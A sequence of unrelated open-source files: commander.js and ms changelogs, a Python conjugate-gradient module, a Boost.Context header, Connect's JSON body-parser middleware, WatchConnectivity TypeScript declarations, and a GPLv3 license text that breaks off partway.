two bugs incurred by variadic arguments. Close #291 @Quentin01 #302 @zhiyelee 2.5.0 / 2014-10-24 ================== * add support for variadic arguments. Closes #277 @whitlockjc 2.4.0 / 2014-10-17 ================== * fixed a bug on executing the coercion function of subcommands option. Closes #270 * added `Command.prototype.name` to retrieve command name. Closes #264 #266 @tonylukasavage * added `Command.prototype.opts` to retrieve all the options as a simple object of key-value pairs. Closes #262 @tonylukasavage * fixed a bug on subcommand name. Closes #248 @jonathandelgado * fixed function normalize doesn’t honor option terminator. Closes #216 @abbr 2.3.0 / 2014-07-16 ================== * add command alias'. Closes PR #210 * fix: Typos. Closes #99 * fix: Unused fs module. Closes #217 2.2.0 / 2014-03-29 ================== * add passing of previous option value * fix: support subcommands on windows. Closes #142 * Now the defaultValue passed as the second argument of the coercion function. 2.1.0 / 2013-11-21 ================== * add: allow cflag style option params, unit test, fixes #174 2.0.0 / 2013-07-18 ================== * remove input methods (.prompt, .confirm, etc) 1.3.2 / 2013-07-18 ================== * add support for sub-commands to co-exist with the original command 1.3.1 / 2013-07-18 ================== * add quick .runningCommand hack so you can opt-out of other logic when running a sub command 1.3.0 / 2013-07-09 ================== * add EACCES error handling * fix sub-command --help 1.2.0 / 2013-06-13 ================== * allow "-" hyphen as an option argument * support for RegExp coercion 1.1.1 / 2012-11-20 ================== * add more sub-command padding * fix .usage() when args are present. Closes #106 1.1.0 / 2012-11-16 ================== * add git-style executable subcommand support. Closes #94 1.0.5 / 2012-10-09 ================== * fix `--name` clobbering. Closes #92 * fix examples/help. Closes #89 1.0.4 / 2012-09-03 ================== * add `outputHelp()` method. 1.0.3 / 2012-08-30 ================== * remove invalid .version() defaulting 1.0.2 / 2012-08-24 ================== * add `--foo=bar` support [arv] * fix password on node 0.8.8. Make backward compatible with 0.6 [focusaurus] 1.0.1 / 2012-08-03 ================== * fix issue #56 * fix tty.setRawMode(mode) was moved to tty.ReadStream#setRawMode() (i.e. process.stdin.setRawMode()) 1.0.0 / 2012-07-05 ================== * add support for optional option descriptions * add defaulting of `.version()` to package.json's version 0.6.1 / 2012-06-01 ================== * Added: append (yes or no) on confirmation * Added: allow node.js v0.7.x 0.6.0 / 2012-04-10 ================== * Added `.prompt(obj, callback)` support. Closes #49 * Added default support to .choose(). Closes #41 * Fixed the choice example 0.5.1 / 2011-12-20 ================== * Fixed `password()` for recent nodes. Closes #36 0.5.0 / 2011-12-04 ================== * Added sub-command option support [itay] 0.4.3 / 2011-12-04 ================== * Fixed custom help ordering. Closes #32 0.4.2 / 2011-11-24 ================== * Added travis support * Fixed: line-buffered input automatically trimmed. Closes #31 0.4.1 / 2011-11-18 ================== * Removed listening for "close" on --help 0.4.0 / 2011-11-15 ================== * Added support for `--`. Closes #24 0.3.3 / 2011-11-14 ================== * Fixed: wait for close event when writing help info [Jerry Hamlet] 0.3.2 / 2011-11-01 ================== * Fixed long flag definitions with values [felixge] 0.3.1 / 2011-10-31 ================== * Changed `--version` short flag to `-V` from `-v` * Changed `.version()` so it's configurable [felixge] 0.3.0 / 2011-10-31 ================== * Added support for long flags only. Closes #18 0.2.1 / 2011-10-24 ================== * "node": ">= 0.4.x < 0.7.0". Closes #20 0.2.0 / 2011-09-26 ================== * Allow for defaults that are not just boolean. Default peassignment only occurs for --no-*, optional, and required arguments. [Jim Isaacs] 0.1.0 / 2011-08-24 ================== * Added support for custom `--help` output 0.0.5 / 2011-08-18 ================== * Changed: when the user enters nothing prompt for password again * Fixed issue with passwords beginning with numbers [NuckChorris] 0.0.4 / 2011-08-15 ================== * Fixed `Commander#args` 0.0.3 / 2011-08-15 ================== * Added default option value support 0.0.2 / 2011-08-15 ================== * Added mask support to `Command#password(str[, mask], fn)` * Added `Command#password(str, fn)` 0.0.1 / 2010-01-03 ================== * Initial release
{ "pile_set_name": "Github" }
# Matthieu Brucher # Last Change : 2007-08-29 15:05 """ Computes the conjugate gradient steps for a specific function at a specific point """ import numpy class ConjugateGradientStep(object): """ The basic conjugate gradient step """ def __init__(self, coeff_function): """ Initialization of the gradient step - coeff_function is the function that will compute the appropriate coefficient """ self.oldStep = None self.oldGradient = None self.coeff_function = coeff_function def __call__(self, function, point, state): """ Computes a gradient step based on a function and a point """ newGradient = function.gradient(point) if 'direction' in state: oldGradient = state['gradient'] oldStep = state['direction'] if all(newGradient == oldGradient): coeff = 0 step = - newGradient else: coeff = self.coeff_function(newGradient, oldGradient, oldStep) step = - newGradient + coeff * state['direction'] else: coeff = 0 step = - newGradient self.oldGradient = newGradient state['gradient'] = newGradient state['conjugate_coefficient'] = coeff state['direction'] = step return step def CWConjugateGradientStep(): """ The Crowder-Wolfe or Hestenes-Stiefel conjugate gradient step """ def function(newGradient, oldGradient, oldStep): return numpy.dot(newGradient.T, (newGradient - oldGradient)) / numpy.dot(oldStep.T, (newGradient - oldGradient)) return ConjugateGradientStep(function) def DConjugateGradientStep(): """ The Dixon conjugate gradient step """ def function(newGradient, oldGradient, oldStep): return - numpy.dot(newGradient.T, newGradient) / numpy.dot(oldStep.T, oldGradient) return ConjugateGradientStep(function) def DYConjugateGradientStep(): """ The Dai Yan conjugate gradient step Has good convergence capabilities (same as the FR-PRP gradient) """ def function(newGradient, oldGradient, oldStep): return numpy.dot(newGradient.T, newGradient) / numpy.dot(oldStep.T, (newGradient - oldGradient)) return ConjugateGradientStep(function) def FRConjugateGradientStep(): """ The Fletcher Reeves conjugate gradient step Needs an exact line search for convergence or the strong Wolfe-Powell rules for an inexact line search """ def function(newGradient, oldGradient, oldStep): return numpy.dot(newGradient.T, newGradient) / numpy.dot(oldGradient.T, oldGradient) return ConjugateGradientStep(function) def PRPConjugateGradientStep(): """ The Polak-Ribiere-Polyak conjugate gradient step Can restart automatically, but needs an exact line search with a uniformely convex function to globally converge """ def function(newGradient, oldGradient, oldStep): return numpy.dot(newGradient.T, (newGradient - oldGradient)) / numpy.dot(oldGradient.T, oldGradient) return ConjugateGradientStep(function) def FRPRPConjugateGradientStep(): """ The Fletcher-Reeves modified Polak-Ribiere-Polyak conjugate gradient step Can restart automatically and has the advantages of the PRP gradient and of the FR gradient """ def function(newGradient, oldGradient, oldStep): beta = numpy.dot(newGradient.T, (newGradient - oldGradient)) / numpy.dot(oldGradient.T, oldGradient) betafr = numpy.dot(newGradient.T, newGradient) / numpy.dot(oldGradient.T, oldGradient) if beta < -betafr: beta = -betafr elif beta > betafr: beta = betafr return beta return ConjugateGradientStep(function) def HZConjugateGradientStep(): """ The Hager-Zhang conjugate gradient step Has good convergence capabilities (same as the FR-PRP gradient) """ def function(newGradient, oldGradient, oldStep): yk = newGradient - oldGradient beta = numpy.dot((yk - 2*numpy.linalg.norm(yk)/numpy.dot(yk.T, oldStep) * oldStep).T, newGradient) / numpy.dot(yk.T, oldStep) return beta return ConjugateGradientStep(function)
{ "pile_set_name": "Github" }
// Copyright Oliver Kowalke 2009. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef BOOST_CONTEXT_FCONTEXT_H #define BOOST_CONTEXT_FCONTEXT_H #if defined(__PGI) #include <stdint.h> #endif #if defined(_WIN32_WCE) typedef int intptr_t; #endif #include <boost/config.hpp> #include <boost/cstdint.hpp> #include <boost/context/detail/config.hpp> #ifdef BOOST_HAS_ABI_HEADERS # include BOOST_ABI_PREFIX #endif namespace boost { namespace context { typedef void* fcontext_t; extern "C" BOOST_CONTEXT_DECL intptr_t BOOST_CONTEXT_CALLDECL jump_fcontext( fcontext_t * ofc, fcontext_t nfc, intptr_t vp, bool preserve_fpu = true); extern "C" BOOST_CONTEXT_DECL fcontext_t BOOST_CONTEXT_CALLDECL make_fcontext( void * sp, std::size_t size, void (* fn)( intptr_t) ); }} #ifdef BOOST_HAS_ABI_HEADERS # include BOOST_ABI_SUFFIX #endif #endif // BOOST_CONTEXT_FCONTEXT_H
{ "pile_set_name": "Github" }
/*! * Connect - json * Copyright(c) 2010 Sencha Inc. * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Module dependencies. */ var utils = require('../utils'); var getBody = require('raw-body'); /** * JSON: * * Parse JSON request bodies, providing the * parsed object as `req.body`. * * Options: * * - `strict` when `false` anything `JSON.parse()` accepts will be parsed * - `reviver` used as the second "reviver" argument for JSON.parse * - `limit` byte limit [1mb] * * @param {Object} options * @return {Function} * @api public */ exports = module.exports = function(options){ options = options || {}; var strict = options.strict !== false; var verify = typeof options.verify === 'function' && options.verify; return function json(req, res, next) { if (req._body) return next(); req.body = req.body || {}; if (!utils.hasBody(req)) return next(); // check Content-Type if (!exports.regexp.test(utils.mime(req))) return next(); // flag as parsed req._body = true; // parse getBody(req, { limit: options.limit || '1mb', length: req.headers['content-length'], encoding: 'utf8' }, function (err, buf) { if (err) return next(err); if (verify) { try { verify(req, res, buf) } catch (err) { if (!err.status) err.status = 403; return next(err); } } var first = buf.trim()[0]; if (0 == buf.length) { return next(utils.error(400, 'invalid json, empty body')); } if (strict && '{' != first && '[' != first) return next(utils.error(400, 'invalid json')); try { req.body = JSON.parse(buf, options.reviver); } catch (err){ err.body = buf; err.status = 400; return next(err); } next(); }) }; }; exports.regexp = /^application\/([\w!#\$%&\*`\-\.\^~]*\+)?json$/i;
{ "pile_set_name": "Github" }
declare const enum WCErrorCode { GenericError = 7001, SessionNotSupported = 7002, SessionMissingDelegate = 7003, SessionNotActivated = 7004, DeviceNotPaired = 7005, WatchAppNotInstalled = 7006, NotReachable = 7007, InvalidParameter = 7008, PayloadTooLarge = 7009, PayloadUnsupportedTypes = 7010, MessageReplyFailed = 7011, MessageReplyTimedOut = 7012, FileAccessDenied = 7013, DeliveryFailed = 7014, InsufficientSpace = 7015, SessionInactive = 7016, TransferTimedOut = 7017, CompanionAppNotInstalled = 7018, WatchOnlyApp = 7019 } declare var WCErrorDomain: string; declare class WCSession extends NSObject { static alloc(): WCSession; // inherited from NSObject static isSupported(): boolean; static new(): WCSession; // inherited from NSObject readonly activationState: WCSessionActivationState; readonly applicationContext: NSDictionary<string, any>; readonly complicationEnabled: boolean; delegate: WCSessionDelegate; readonly hasContentPending: boolean; readonly outstandingFileTransfers: NSArray<WCSessionFileTransfer>; readonly outstandingUserInfoTransfers: NSArray<WCSessionUserInfoTransfer>; readonly paired: boolean; readonly reachable: boolean; readonly receivedApplicationContext: NSDictionary<string, any>; readonly remainingComplicationUserInfoTransfers: number; readonly watchAppInstalled: boolean; readonly watchDirectoryURL: NSURL; static readonly defaultSession: WCSession; activateSession(): void; sendMessageDataReplyHandlerErrorHandler(data: NSData, replyHandler: (p1: NSData) => void, errorHandler: (p1: NSError) => void): void; sendMessageReplyHandlerErrorHandler(message: NSDictionary<string, any>, replyHandler: (p1: NSDictionary<string, any>) => void, errorHandler: (p1: NSError) => void): void; transferCurrentComplicationUserInfo(userInfo: NSDictionary<string, any>): WCSessionUserInfoTransfer; transferFileMetadata(file: NSURL, metadata: NSDictionary<string, any>): WCSessionFileTransfer; transferUserInfo(userInfo: NSDictionary<string, any>): WCSessionUserInfoTransfer; updateApplicationContextError(applicationContext: NSDictionary<string, any>): boolean; } declare const enum WCSessionActivationState { NotActivated = 0, Inactive = 1, Activated = 2 } interface WCSessionDelegate extends NSObjectProtocol { sessionActivationDidCompleteWithStateError(session: WCSession, activationState: WCSessionActivationState, error: NSError): void; sessionDidBecomeInactive(session: WCSession): void; sessionDidDeactivate(session: WCSession): void; sessionDidFinishFileTransferError?(session: WCSession, fileTransfer: WCSessionFileTransfer, error: NSError): void; sessionDidFinishUserInfoTransferError?(session: WCSession, userInfoTransfer: WCSessionUserInfoTransfer, error: NSError): void; sessionDidReceiveApplicationContext?(session: WCSession, applicationContext: NSDictionary<string, any>): void; sessionDidReceiveFile?(session: WCSession, file: WCSessionFile): void; sessionDidReceiveMessage?(session: WCSession, message: NSDictionary<string, any>): void; sessionDidReceiveMessageData?(session: WCSession, messageData: NSData): void; sessionDidReceiveMessageDataReplyHandler?(session: WCSession, messageData: NSData, replyHandler: (p1: NSData) => void): void; sessionDidReceiveMessageReplyHandler?(session: WCSession, message: NSDictionary<string, any>, replyHandler: (p1: NSDictionary<string, any>) => void): void; sessionDidReceiveUserInfo?(session: WCSession, userInfo: NSDictionary<string, any>): void; sessionReachabilityDidChange?(session: WCSession): void; sessionWatchStateDidChange?(session: WCSession): void; } declare var WCSessionDelegate: { prototype: WCSessionDelegate; }; declare class WCSessionFile extends NSObject { static alloc(): WCSessionFile; // inherited from NSObject static new(): WCSessionFile; // inherited from NSObject readonly fileURL: NSURL; readonly metadata: NSDictionary<string, any>; } declare class WCSessionFileTransfer extends NSObject { static alloc(): WCSessionFileTransfer; // inherited from NSObject static new(): WCSessionFileTransfer; // inherited from NSObject readonly file: WCSessionFile; readonly progress: NSProgress; readonly transferring: boolean; cancel(): void; } declare class WCSessionUserInfoTransfer extends NSObject implements NSSecureCoding { static alloc(): WCSessionUserInfoTransfer; // inherited from NSObject static new(): WCSessionUserInfoTransfer; // inherited from NSObject readonly currentComplicationInfo: boolean; readonly transferring: boolean; readonly userInfo: NSDictionary<string, any>; static readonly supportsSecureCoding: boolean; // inherited from NSSecureCoding constructor(o: { coder: NSCoder; }); // inherited from NSCoding cancel(): void; encodeWithCoder(coder: NSCoder): void; initWithCoder(coder: NSCoder): this; }
{ "pile_set_name": "Github" }
0.7.1 / 2015-04-20 ================== * prevent extraordinary long inputs (@evilpacket) * Fixed broken readme link 0.7.0 / 2014-11-24 ================== * add time abbreviations, updated tests and readme for the new units * fix example in the readme. * add LICENSE file 0.6.2 / 2013-12-05 ================== * Adding repository section to package.json to suppress warning from NPM. 0.6.1 / 2013-05-10 ================== * fix singularization [visionmedia] 0.6.0 / 2013-03-15 ================== * fix minutes 0.5.1 / 2013-02-24 ================== * add component namespace 0.5.0 / 2012-11-09 ================== * add short formatting as default and .long option * add .license property to component.json * add version to component.json 0.4.0 / 2012-10-22 ================== * add rounding to fix crazy decimals 0.3.0 / 2012-09-07 ================== * fix `ms(<String>)` [visionmedia] 0.2.0 / 2012-09-03 ================== * add component.json [visionmedia] * add days support [visionmedia] * add hours support [visionmedia] * add minutes support [visionmedia] * add seconds support [visionmedia] * add ms string support [visionmedia] * refactor tests to facilitate ms(number) [visionmedia] 0.1.0 / 2012-03-07 ================== * Initial release
{ "pile_set_name": "Github" }
0.7.1 / 2015-04-20 ================== * prevent extraordinary long inputs (@evilpacket) * Fixed broken readme link 0.7.0 / 2014-11-24 ================== * add time abbreviations, updated tests and readme for the new units * fix example in the readme. * add LICENSE file 0.6.2 / 2013-12-05 ================== * Adding repository section to package.json to suppress warning from NPM. 0.6.1 / 2013-05-10 ================== * fix singularization [visionmedia] 0.6.0 / 2013-03-15 ================== * fix minutes 0.5.1 / 2013-02-24 ================== * add component namespace 0.5.0 / 2012-11-09 ================== * add short formatting as default and .long option * add .license property to component.json * add version to component.json 0.4.0 / 2012-10-22 ================== * add rounding to fix crazy decimals 0.3.0 / 2012-09-07 ================== * fix `ms(<String>)` [visionmedia] 0.2.0 / 2012-09-03 ================== * add component.json [visionmedia] * add days support [visionmedia] * add hours support [visionmedia] * add minutes support [visionmedia] * add seconds support [visionmedia] * add ms string support [visionmedia] * refactor tests to facilitate ms(number) [visionmedia] 0.1.0 / 2012-03-07 ================== * Initial release
{ "pile_set_name": "Github" }
libimagequant is derived from code by Jef Poskanzer and Greg Roelofs licensed under pngquant's original license (at the end of this file), and contains extensive changes and additions by Kornel Lesiński licensed under GPL v3 or later. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - libimagequant © 2009-2018 by Kornel Lesiński. GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or 